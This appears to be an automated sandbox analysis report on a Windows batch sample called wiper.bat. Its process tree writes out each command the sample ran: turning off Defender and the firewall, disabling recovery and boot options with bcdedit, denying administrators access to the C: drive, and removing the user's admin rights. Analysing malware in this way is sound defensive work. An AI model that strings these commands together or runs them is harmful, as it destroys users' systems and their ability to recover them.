Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/11/2026, 04:20

General

  • Target
    wiper.bat
  • Size 4KB
  • Sample261112-ex3mkady7t
  • SHA256 519cacd62b248b708e1b0587fc5327dc5e154d65d58b1e9aac3b4acf675ccdc5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible privilege escalation attempt 13 IoCs
  • Disables service(s) 3 TTPs
  • Modifies file permissions 1 TTPs 13 IoCs
  • Stops running service(s) 4 TTPs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wiper.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5500
    • C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
        PID:5832
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Software\Policies\Microsoft\Windows\Explorer" /v DisableNotificationCenter /t REG_DWORD /d 1 /f
        2⤵
          PID:1896
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" /v NoToastApplicationNotification /t REG_DWORD /d 1 /f
          2⤵
            PID:1144
          • C:\Windows\system32\reg.exe
            reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "0 0 0" /f
            2⤵
              PID:4956
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "" /f
              2⤵
              • Sets desktop wallpaper using registry
              PID:400
            • C:\Windows\system32\rundll32.exe
              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
              2⤵
                PID:236
              • C:\Windows\system32\netsh.exe
                netsh advfirewall set allprofiles state off
                2⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:252
              • C:\Windows\system32\sc.exe
                sc stop WinDefend
                2⤵
                • Launches sc.exe
                PID:4296
              • C:\Windows\system32\sc.exe
                sc config WinDefend start= disabled
                2⤵
                • Launches sc.exe
                PID:4736
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
                2⤵
                  PID:6032
                • C:\Windows\system32\attrib.exe
                  attrib +h +s "C:\Program Files (x86)\Microsoft\Edge" /s /d
                  2⤵
                  • Drops file in Program Files directory
                  • Views/modifies file attributes
                  PID:4628
                • C:\Windows\system32\takeown.exe
                  takeown /f "C:\Program Files (x86)\Microsoft\Edge\Application" /r /d y
                  2⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:3300
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Program Files (x86)\Microsoft\Edge\Application" /grant administrators:F
                  2⤵
                  • Possible privilege escalation attempt
                  • Modifies file permissions
                  PID:2536
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Get-AppxPackage -AllUsers *Microsoft.WindowsStore* | Remove-AppxPackage -ErrorAction SilentlyContinue"
                  2⤵
                  • Hide Artifacts: Ignore Process Interrupts
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2836
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Get-AppxPackage -AllUsers *Microsoft.WindowsCalculator* | Remove-AppxPackage -ErrorAction SilentlyContinue"
                  2⤵
                  • Hide Artifacts: Ignore Process Interrupts
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5416
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Get-AppxPackage -AllUsers *Microsoft.Paint* | Remove-AppxPackage -ErrorAction SilentlyContinue"
                  2⤵
                  • Hide Artifacts: Ignore Process Interrupts
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5976
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Get-AppxPackage -AllUsers *windows.immersivecontrolpanel* | Remove-AppxPackage -ErrorAction SilentlyContinue"
                  2⤵
                  • Hide Artifacts: Ignore Process Interrupts
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3452
                  • C:\Windows\system32\wermgr.exe
                    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3452" "2036" "2360" "2316" "0" "0" "2016" "0" "0" "0" "0" "0"
                    3⤵
                      PID:8
                  • C:\Windows\system32\takeown.exe
                    takeown /f "C:\Windows\regedit.exe"
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5600
                  • C:\Windows\system32\icacls.exe
                    icacls "C:\Windows\regedit.exe" /grant administrators:F
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:2656
                  • C:\Windows\system32\takeown.exe
                    takeown /f "C:\Windows\System32\devmgmt.msc"
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2924
                  • C:\Windows\system32\icacls.exe
                    icacls "C:\Windows\System32\devmgmt.msc" /grant administrators:F
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:2332
                  • C:\Windows\system32\takeown.exe
                    takeown /f "C:\Windows\System32\cmd.exe"
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1372
                  • C:\Windows\system32\icacls.exe
                    icacls "C:\Windows\System32\cmd.exe" /grant administrators:F
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:3120
                  • C:\Windows\system32\takeown.exe
                    takeown /f "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    • Suspicious use of AdjustPrivilegeToken
                    PID:464
                  • C:\Windows\system32\icacls.exe
                    icacls "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /grant administrators:F
                    2⤵
                    • Possible privilege escalation attempt
                    • Modifies file permissions
                    PID:6096
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
                    2⤵
                      PID:1120
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
                      2⤵
                        PID:1672
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
                        2⤵
                          PID:5360
                        • C:\Windows\system32\taskkill.exe
                          taskkill /f /im explorer.exe
                          2⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1968
                        • C:\Windows\system32\ReAgentc.exe
                          reagentc /disable
                          2⤵
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          PID:3192
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} recoveryenabled no
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3260
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {current} recoveryenabled no
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:4372
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} bootstatuspolicy ignoreallfailures
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3200
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {current} bootstatuspolicy ignoreallfailures
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1668
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /deletevalue {current} bootmenupolicy
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:2756
                        • C:\Windows\system32\takeown.exe
                          takeown /f "C:\Recovery" /r /d y
                          2⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2424
                        • C:\Windows\system32\icacls.exe
                          icacls "C:\Recovery" /grant administrators:F /t
                          2⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:2460
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {bootmgr} nointegritychecks on
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3436
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {globalsettings} advancedoptions false
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:5508
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {globalsettings} optionsranges no
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3548
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /deletevalue {bootmgr} displayorder
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3052
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set bootux disabled
                          2⤵
                          • Modifies boot configuration data using bcdedit
                          PID:3540
                        • C:\Windows\system32\icacls.exe
                          icacls "C:/" /deny administrators:(OI)(CI)F
                          2⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:1936
                        • C:\Windows\system32\net.exe
                          net localgroup administrators Admin /delete
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2388
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 localgroup administrators Admin /delete
                            3⤵
                              PID:2436
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
                          1⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4784

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              StartupProfileData-NonInteractive

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 2KB
                              • SHA256 520580d1cd77148f7d9f37f94f009e455e3dac9e081cf5934c1fa454975251be
                              • MD5 SHA1 SHA512 TLSH

                              StartupProfileData-NonInteractive

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 2KB
                              • SHA256 4a76e3bf233f63f419683017867ce09d9c903e3114aada528c042b8f8b525494
                              • MD5 SHA1 SHA512 TLSH

                              StartupProfileData-NonInteractive

                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              • Size 2KB
                              • SHA256 db2870564c4daf23de4b92370f111caba934e0ae82f4e763e24d0004a442981b
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_joker1se.lwn.ps1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_joker1se.lwn.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              memory/2836-15-0x0000017DCF940000-0x0000017DCFB44000-memory.dmp

                              memory/2836-16-0x0000017DCF440000-0x0000017DCF45A000-memory.dmp

                              memory/2836-17-0x0000017DCF760000-0x0000017DCF78A000-memory.dmp

                              memory/2836-18-0x0000017DCF340000-0x0000017DCF348000-memory.dmp

                              memory/2836-19-0x0000017DCF350000-0x0000017DCF356000-memory.dmp

                              memory/2836-20-0x0000017DCF420000-0x0000017DCF42A000-memory.dmp

                              memory/2836-21-0x0000017DCF430000-0x0000017DCF438000-memory.dmp

                              memory/2836-22-0x0000017DCF490000-0x0000017DCF4B6000-memory.dmp

                              memory/2836-14-0x0000017DCF360000-0x0000017DCF412000-memory.dmp

                              memory/2836-13-0x0000017DCF340000-0x0000017DCF35E000-memory.dmp

                              memory/2836-3-0x0000017DB6F70000-0x0000017DB6F92000-memory.dmp

                              memory/3452-65-0x000001F6371D0000-0x000001F6371D8000-memory.dmp

                              memory/5500-74-0x00007FF616680000-0x00007FF6166EF000-memory.dmp